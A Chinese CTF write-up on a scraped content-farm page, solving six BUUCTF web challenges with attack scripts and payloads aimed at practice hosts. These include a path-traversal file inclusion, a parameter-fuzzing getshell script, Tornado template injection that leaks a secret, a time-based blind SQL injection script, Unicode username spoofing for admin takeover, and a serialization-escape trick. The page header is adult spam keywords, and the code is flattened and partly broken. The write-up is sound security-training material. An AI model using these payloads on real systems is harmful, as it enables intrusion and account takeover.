日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

BUUCTF的Web真题学习整理(一)

發布時間:2024/9/30 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BUUCTF的Web真题学习整理(一) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

  • WEB1—WarmUp (任意文件包含漏洞)
  • WEB2—高明的黑客(fuzz腳本)
  • WEB3—easy_tornado (服務端模板注入(ssti攻擊))
  • WEB4—Hack World(時間盲注)
  • WEB5—admin(unicode欺騙)
  • WEB6—piapiapia (一個源碼中有防止sql注入的反序列化漏洞)

BUU上的題基本都是比賽真題,還是很有借鑒意義的,安利一波https://buuoj.cn/。
例如在上次華東南賽區的比賽,就遇到了BUU上的WarmUp,所以這次整理一些BUU上的web題,沒準下次還能遇到(??????)??,遇不到原題說不定會有一樣的題型。

WEB1—WarmUp (任意文件包含漏洞)

第一步看源碼

可以發現提示有source.php

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?>

觀察源碼邏輯,首先可以發現白名單是只有source.php和hint.php,通過訪問hint.php我們可以知道flag在ffffllllaaaagggg文件中


但很明顯我們無法直接訪問,所以當然是繼續分析邏輯
因為我們最后是想要讀取ffffllllaaaagggg文件,所以很明顯是要讓代碼執行到include $_REQUEST[‘file’];,傳入file為ffffllllaaaagggg

mb_substr($page,0,mb_strpos($page.’?’,’?’))表示截取page中?之前的內容
所以判斷既為true,就能通過判斷條件

! empty($_REQUEST['file']) &&is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])

所以就能執行包含文件
payload:
http://web5.buuoj.cn/?file=source.php?../../../../../ffffllllaaaagggg
這邊ffffllllaaaagggg文件前面的路徑加…/是因為他和index.php不在同一個目錄下,所以讀取的是上級目錄。

WEB2—高明的黑客(fuzz腳本)


這題給了www.tar.gz下載下來是3000多個php文件,每個php文件中都有很多post和get的參數,只有一個php中的一個參數是可以getshell的。給出一個多線程python爆破腳本,主要功能是讀取我們下載下來的php文件,然后尋找所有GET和POST參數,發送給服務器,判斷是否執行了我們傳入的東西,來判斷是不是一個可以getshell的點。

import requests import re import os from time import sleep flies = os.listdir('../src')from multiprocessing.dummy import Pool as ThreadPooldef breakMe(sss): # 輸入范圍 key = sss.split(':')start = int(key[0]) # 開始位置end = int(key[1]) # 結束位置for i in flies[start:end]:url = 'http://web15.buuoj.cn/'+if = open('../src/'+i)data = f.read()f.close()reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')params = reg.findall(data)for j in params: payload = url + '?' + j + '=echo 123456123456123456123456'req=requests.get(payload)if '123456123456123456123456' in str(req.content):print (payload)exit()list=[] # 參數列表 for i in range(30): # 多線程的數字列表 開始與結尾list.append(str(100*i) + ':' + str(100*(i+1))) pool = ThreadPool() # 多線程任務 pool.map(breakMe, list) # 函數 與參數列表 pool.close() pool.join()

WEB3—easy_tornado (服務端模板注入(ssti攻擊))


可以發現給了我們三個鏈接


flag是在/fllllllllllllag中的,但是訪問這個文件是還有要一個filehash的參數,其值是md5(cookie_secret+md5(filename))規則加密的,主要我們需要知道的是cookie_secret的值

在我們直接訪問http://web9.buuoj.cn/file?filename=/fllllllllllllag時發現頁面跳轉到了

提示有簽名錯誤,發現/error?msg=Error,考慮服務端模板注入(ssti攻擊)
嘗試輸入/error?msg={{1}},確實是存在模板注入
嘗試輸入/error?msg={{77}},不存在運算
之后進行各種嘗試與資料獲取發現對于tornado框架存在附屬文件handler.settings,于是嘗試輸入/error?msg={{handler.settings}}

得到cookie_secret:M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84r
再根據hint的加密規則算出filehash,便可以訪問fllllllllllllag,得到flag

WEB4—Hack World(時間盲注)


延遲注入,是一種盲注的手法, 提交對執行時間銘感的函數sql語句,通過執行時間的長短來判斷是否執行成功,比如:正確的話會導致時間很長,錯誤的話會導致執行時間很短,這就是所謂的高級盲注.SQLMAP、穿山甲、胡蘿卜等主流注入工具可能檢測不出,只能手工檢測,利用腳本程序跑出結果。

給出了table和column名,給的這么詳細大概是時間盲注的概率會高一些吧。同時發現過濾了空格,給出時間盲注腳本

import requests import time url = "http://web43.buuoj.cn/index.php" flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" #FLAG{5YK358DL6ME5EXXWO4MO2HJS5W0HADZ9} while True:for i in table:ss = time.time()data = {'id':'''ELT(left((select flag from flag),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, i)}data['id'] = data['id'].replace(" ","\t")requests.post(url,data=data)if time.time()-ss>=0.5:flag += iprint (flag)break

WEB5—admin(unicode欺騙)

這題首先是登錄注冊


通過題目大概可以知道,需要我們以admin的身份登陸,然后我這邊先注冊admin發現已經存在,所以先隨便注冊一個登陸了上去,然后去找一些可以利用的地方。

在更換密碼的地方找到了一個git,得到題目源碼

這邊重點的是

def strlower(username):username = nodeprep.prepare(username)return username

這邊對如下字幕????????????????????????
nodeprep.prepare會進行如下操作
? -> A -> a
所以經過這三步得到flag
注冊用戶?dmin
登錄用戶?dmin,變成Admin
修改密碼Admin,更改了admin的密碼

推薦博客https://www.anquanke.com/post/id/164086這題給出了三種解法
法1:偽造session
法2:unicode欺騙
法3:條件競爭

這邊我也復現一下偽造session

使用的是這個github上的工具https://github.com/noraj/flask-session-cookie-manager
但沒有復現成功,我對比了一下真實admin的session值和我偽造的session,應該整體上是沒問題的,但是可能是由于這個工具和真實服務器構建session在最后一部分規則有差異還是怎么樣,總之是沒能復現成功,如果有找到更好用的工具的大佬可以指導我一下

WEB6—piapiapia (一個源碼中有防止sql注入的反序列化漏洞)

buuctf上沒有給出源碼,看了那個0ctf的wp才會做
大概思路就是通過審計

$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string);

發現一些sql關鍵字會被替換成hacker造成的一個漏洞

舉個例子就是
s:10:“where1234"”; => s:10:“hacker1234"”
在反序列化的時候,因為s是10,所以會讀10個字節,當where被替換成hacker后,就會逃逸掉一個引號。這樣就可以構造我們想要逃逸內容個where實現控制反序列化后的內容

參考博客http://yqxiaojunjie.com/index.php/archives/171/

總結

以上是生活随笔為你收集整理的BUUCTF的Web真题学习整理(一)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。